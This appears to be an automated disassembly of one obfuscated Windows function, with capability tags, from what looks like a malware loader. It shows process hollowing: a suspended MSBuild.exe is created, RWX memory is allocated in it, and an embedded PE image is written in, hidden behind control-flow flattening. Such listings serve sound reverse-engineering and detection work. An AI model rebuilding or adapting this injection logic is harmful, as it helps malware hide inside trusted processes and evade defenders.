Function at 0x10002110
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf0
mov eax, dword [0x10019c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1001af38]
mov eax, dword [0x1001af34]
mov edx, ecx
add edx, 0x898068fc
sub edx, 1
sub edx, 0x898068fc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xf2], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xf1], al
mov dword [ebp - 0xf8], 0x2be3e5d
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xfc], eax
sub eax, 0x8a3f7b3b
je 0x100042c1
jmp 0x1000218b
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a8a0fb1
je 0x10004169
jmp 0x100021a1
mov eax, dword [ebp - 0xfc]
sub eax, 0x92132638
je 0x10004232
jmp 0x100021b7
mov eax, dword [ebp - 0xfc]
sub eax, 0x9468fa6d
je 0x10003c6f
jmp 0x100021cd
mov eax, dword [ebp - 0xfc]
sub eax, 0x94beaf82
je 0x1000434e
jmp 0x100021e3
mov eax, dword [ebp - 0xfc]
sub eax, 0x96f5fd86
je 0x10003775
jmp 0x100021f9
mov eax, dword [ebp - 0xfc]
sub eax, 0x9a168308
je 0x1000334b
jmp 0x1000220f
mov eax, dword [ebp - 0xfc]
sub eax, 0x9cd94d7a
je 0x1000374c
jmp 0x10002225
mov eax, dword [ebp - 0xfc]
sub eax, 0x9d4a015f
je 0x10002e67
jmp 0x1000223b
mov eax, dword [ebp - 0xfc]
sub eax, 0x9dda0d7d
je 0x10003c51
jmp 0x10002251
mov eax, dword [ebp - 0xfc]
sub eax, 0xa315c72f
je 0x1000366d
jmp 0x10002267
mov eax, dword [ebp - 0xfc]
sub eax, 0xa3f12681
je 0x100038b3
jmp 0x1000227d
mov eax, dword [ebp - 0xfc]
sub eax, 0xa79b3e9f
je 0x10003a9f
jmp 0x10002293
mov eax, dword [ebp - 0xfc]
sub eax, 0xaa3df29a
je 0x10003cbb
jmp 0x100022a9
mov eax, dword [ebp - 0xfc]
sub eax, 0xaadd60f0
je 0x100043ec
jmp 0x100022bf
mov eax, dword [ebp - 0xfc]
sub eax, 0xac98b0a7
je 0x100041b7
jmp 0x100022d5
mov eax, dword [ebp - 0xfc]
sub eax, 0xad1a33b8
je 0x10004306
jmp 0x100022eb
mov eax, dword [ebp - 0xfc]
sub eax, 0xafe1920e
je 0x10003c60
jmp 0x10002301
mov eax, dword [ebp - 0xfc]
sub eax, 0xb0288e3c
je 0x10002ae7
jmp 0x10002317
mov eax, dword [ebp - 0xfc]
sub eax, 0xb5b73e8f
je 0x100038cd
jmp 0x1000232d
mov eax, dword [ebp - 0xfc]
sub eax, 0xb8dddc06
je 0x10004315
jmp 0x10002343
mov eax, dword [ebp - 0xfc]
sub eax, 0xc0b5655e
je 0x100037de
jmp 0x10002359
mov eax, dword [ebp - 0xfc]
sub eax, 0xc0d2a20d
je 0x10002d5a
jmp 0x1000236f
mov eax, dword [ebp - 0xfc]
sub eax, 0xc22aa35c
je 0x10003440
jmp 0x10002385
mov eax, dword [ebp - 0xfc]
sub eax, 0xc564291a
je 0x10002f85
jmp 0x1000239b
mov eax, dword [ebp - 0xfc]
sub eax, 0xc6bf1a8d
je 0x10003584
jmp 0x100023b1
mov eax, dword [ebp - 0xfc]
sub eax, 0xc73fd848
je 0x100033ef
jmp 0x100023c7
mov eax, dword [ebp - 0xfc]
sub eax, 0xcb9548b6
je 0x10002f64
jmp 0x100023dd
mov eax, dword [ebp - 0xfc]
sub eax, 0xccd4dec4
je 0x10003917
jmp 0x100023f3
mov eax, dword [ebp - 0xfc]
sub eax, 0xd0375c78
je 0x10002bf3
jmp 0x10002409
mov eax, dword [ebp - 0xfc]
sub eax, 0xd2db3dba
je 0x100033d1
jmp 0x1000241f
mov eax, dword [ebp - 0xfc]
sub eax, 0xd386b5d9
je 0x10004060
jmp 0x10002435
mov eax, dword [ebp - 0xfc]
sub eax, 0xd3efa14f
je 0x10003c7e
jmp 0x1000244b
mov eax, dword [ebp - 0xfc]
sub eax, 0xd53b505c
je 0x10003793
jmp 0x10002461
mov eax, dword [ebp - 0xfc]
sub eax, 0xd68324bf
je 0x10003fab
jmp 0x10002477
mov eax, dword [ebp - 0xfc]
sub eax, 0xd7e3e2e8
je 0x10003d9c
jmp 0x1000248d
mov eax, dword [ebp - 0xfc]
sub eax, 0xdaaa6e41
je 0x10003f71
jmp 0x100024a3
mov eax, dword [ebp - 0xfc]
sub eax, 0xde8956ca
je 0x1000375b
jmp 0x100024b9
mov eax, dword [ebp - 0xfc]
sub eax, 0xe352671d
je 0x10003143
jmp 0x100024cf
mov eax, dword [ebp - 0xfc]
sub eax, 0xe52ce19a
je 0x1000309c
jmp 0x100024e5
mov eax, dword [ebp - 0xfc]
sub eax, 0xe5957ab9
je 0x10003d0c
jmp 0x100024fb
mov eax, dword [ebp - 0xfc]
sub eax, 0xe5e5093c
je 0x100031b3
jmp 0x10002511
mov eax, dword [ebp - 0xfc]
sub eax, 0xe697fc73
je 0x10004196
jmp 0x10002527
mov eax, dword [ebp - 0xfc]
sub eax, 0xf144b7cf
je 0x10003d8d
jmp 0x1000253d
mov eax, dword [ebp - 0xfc]
sub eax, 0xf5ab598f
je 0x10002dfd
jmp 0x10002553
mov eax, dword [ebp - 0xfc]
sub eax, 0xf9783da5
je 0x10002de0
jmp 0x10002569
mov eax, dword [ebp - 0xfc]
sub eax, 0xecfed8
je 0x10002fd6
jmp 0x1000257f
mov eax, dword [ebp - 0xfc]
sub eax, 0x2be3e5d
je 0x100029fc
jmp 0x10002595
mov eax, dword [ebp - 0xfc]
sub eax, 0x40a459e
je 0x100037bb
jmp 0x100025ab
mov eax, dword [ebp - 0xfc]
sub eax, 0x5bff98b
je 0x10003b33
jmp 0x100025c1
mov eax, dword [ebp - 0xfc]
sub eax, 0x8207fd8
je 0x100043d7
jmp 0x100025d7
mov eax, dword [ebp - 0xfc]
sub eax, 0x8904b76
je 0x10003de5
jmp 0x100025ed
mov eax, dword [ebp - 0xfc]
sub eax, 0x9c063a2
je 0x10003e78
jmp 0x10002603
mov eax, dword [ebp - 0xfc]
sub eax, 0xc6bcf5d
je 0x10003ba9
jmp 0x10002619
mov eax, dword [ebp - 0xfc]
sub eax, 0xde685b5
je 0x1000350f
jmp 0x1000262f
mov eax, dword [ebp - 0xfc]
sub eax, 0xf8102fb
je 0x1000397a
jmp 0x10002645
mov eax, dword [ebp - 0xfc]
sub eax, 0x121b95a9
je 0x10003960
jmp 0x1000265b
mov eax, dword [ebp - 0xfc]
sub eax, 0x129ae407
je 0x10003826
jmp 0x10002671
mov eax, dword [ebp - 0xfc]
sub eax, 0x12ba2e84
je 0x10002ad8
jmp 0x10002687
mov eax, dword [ebp - 0xfc]
sub eax, 0x148a99dd
je 0x10003847
jmp 0x1000269d
mov eax, dword [ebp - 0xfc]
sub eax, 0x15046dd8
je 0x1000333c
jmp 0x100026b3
mov eax, dword [ebp - 0xfc]
sub eax, 0x1a8bd43f
je 0x10002c2a
jmp 0x100026c9
mov eax, dword [ebp - 0xfc]
sub eax, 0x1c76d4e1
je 0x10002ee4
jmp 0x100026df
mov eax, dword [ebp - 0xfc]
sub eax, 0x1f2c221b
je 0x10002d0a
jmp 0x100026f5
mov eax, dword [ebp - 0xfc]
sub eax, 0x1f9fc7fe
je 0x100037ed
mov bl, byte [ebp - 0xf2]
mov dh, byte [ebp - 0xf1]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x21e9f9a4
mov ecx, 0x55e44b0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0xb0288e3c
jmp 0x1000441b
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xe0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x1c00
call section..text
add esp, 8
mov eax, dword [ebp - 0xf0]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0xf8], 0xd0375c78
jmp 0x1000441b
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0xe697fc73
mov ecx, 0x1a8bd43f
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac98b0a7
mov ecx, 0x4b3698b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x7fae396e
jmp 0x1000441b
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100056f0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100056f0
add esp, 0xc
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd8]
mov byte [eax], cl
mov eax, dword [ebp - 0xd4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0xf9783da5
jmp 0x1000441b
mov eax, dword [ebp - 0xd8]
mov al, byte [eax]
mov byte [ebp - 0x89], al
mov dword [ebp - 0xf8], 0xf5ab598f
jmp 0x1000441b
mov dl, byte [ebp - 0x89]
mov eax, 0x6b6af9f2
mov ecx, 0x418f5daf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x88]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
mov eax, 0x69c6dd18
mov ecx, 0x1c76d4e1
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x81], al
mov dword [ebp - 0xf8], 0xcb9548b6
jmp 0x1000441b
mov dl, byte [ebp - 0x81]
mov eax, 0xd68324bf
mov ecx, 0xc564291a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
mov edx, eax
add edx, 0xde4e734e
sub edx, 1
sub edx, 0xde4e734e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x575c4da3
mov ecx, 0xecfed8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10001b90
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov ecx, dword [0x1001af38]
mov eax, dword [0x1001af34]
mov edx, ecx
add edx, 0xa0eaf515
sub edx, 1
sub edx, 0xa0eaf515
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x575c4da3
mov ecx, 0x2549c510
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0x80]
mov edx, dword [eax + 0x34]
mov eax, dword [ebp - 0xe0]
mov esi, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xc4]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov edx, dword [ebp - 0xcc]
mov eax, 0xe5e5093c
mov ecx, 0xe352671d
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x38
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0xf8], 0x316f6e36
jmp 0x1000441b
mov ecx, dword [0x1001af38]
mov eax, dword [0x1001af34]
mov edx, ecx
sub edx, 0x77edf330
sub edx, 1
add edx, 0x77edf330
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x92132638
mov ecx, 0x69459be7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x9a168308
jmp 0x1000441b
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov dword [ebp - 0xf8], 0x3dfba6af
jmp 0x1000441b
mov dl, byte [ebp - 0x6d]
mov eax, 0xde8956ca
mov ecx, 0xc73fd848
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
mov edx, eax
add edx, 0x89a8173e
sub edx, 1
sub edx, 0x89a8173e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a3f7b3b
mov ecx, 0xc22aa35c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb0]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0xe425a3e2
add eax, ecx
sub eax, 0xe425a3e2
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb0]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x60], eax
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
mov edx, eax
add edx, 0x5a1b3456
sub edx, 1
sub edx, 0x5a1b3456
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a3f7b3b
mov ecx, 0xde685b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x3973d8b9
jmp 0x1000441b
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0xf8], 0x2aff636e
jmp 0x1000441b
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
mov edx, eax
add edx, 0x637fe680
sub edx, 1
sub edx, 0x637fe680
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad1a33b8
mov ecx, 0x6d4282eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x3dfba6af
jmp 0x1000441b
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xf8], 0x96f5fd86
jmp 0x1000441b
mov edx, dword [ebp - 0x4c]
mov eax, 0x9c063a2
mov ecx, 0xd53b505c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xf8], 0x40a459e
jmp 0x1000441b
mov eax, dword [ebp - 0x44]
mov esi, dword [eax + 0x1c]
mov edx, dword [ebp - 0x48]
mov eax, 0x9c063a2
mov ecx, 0xc0b5655e
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x1f9fc7fe
jmp 0x1000441b
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0xf8], 0x148a99dd
jmp 0x1000441b
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xdcb7b3fd
sub ecx, eax
sub ecx, 0xdcb7b3fd
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa0]
mov dword [eax], 0
mov dword [ebp - 0xf8], 0xa3f12681
jmp 0x1000441b
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0xf8], 0xb5b73e8f
jmp 0x1000441b
mov eax, dword [ebp - 0xa8]
mov esi, dword [eax]
mov edx, dword [ebp - 0x38]
mov eax, 0xaa3df29a
mov ecx, 0x35d062e4
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0x1a1d4993
or edx, ecx
or eax, 0x1a1d4993
xor edx, 0xffffffff
and edx, eax
mov eax, 0x9468fa6d
mov ecx, 0x121b95a9
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xf8], 0xf8102fb
jmp 0x1000441b
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov eax, dword [eax]
add ecx, 0x3eca08c
add ecx, eax
sub ecx, 0x3eca08c
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov edx, dword [ebp - 0xa0]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0x5b00e05e
add ecx, eax
sub ecx, 0x5b00e05e
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax]
mov eax, dword [ebp - 0x98]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, eax
mov eax, 0xafe1920e
mov ecx, 0x56ce8d48
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
mov ecx, dword [ecx]
sub ecx, 0xa0c7ff59
add ecx, eax
add ecx, 0xa0c7ff59
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8dddc06
mov ecx, 0x66ddef84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov ecx, dword [0x1001af38]
mov eax, dword [0x1001af34]
mov edx, ecx
sub edx, 0x4cf7210f
sub edx, 1
add edx, 0x4cf7210f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x94beaf82
mov ecx, 0xc6bcf5d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x1001af38]
mov eax, dword [0x1001af34]
mov edx, ecx
sub edx, 0x81e9c470
sub edx, 1
add edx, 0x81e9c470
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x94beaf82
mov ecx, 0x9dda0d7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0xafe1920e
jmp 0x1000441b
mov dword [ebp - 0xf8], 0x9468fa6d
jmp 0x1000441b
mov dword [ebp - 0xf8], 0xd3efa14f
jmp 0x1000441b
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
sub ecx, 0x3f4bb4ba
add ecx, 1
add ecx, 0x3f4bb4ba
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0x35a74f9f
jmp 0x1000441b
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
mov edx, eax
add edx, 0xce7868a1
sub edx, 1
sub edx, 0xce7868a1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x755cdbd3
mov ecx, 0xe5957ab9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x1001af38]
mov eax, dword [0x1001af34]
mov edx, ecx
add edx, 0x4c2bce14
sub edx, 1
sub edx, 0x4c2bce14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x755cdbd3
mov ecx, 0xf144b7cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000441b
mov dword [ebp - 0xf8], 0xd7e3e2e8
jmp 0x1000441b
mov eax, dword [0x1001af38]
mov ecx, dword [0x1001af34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
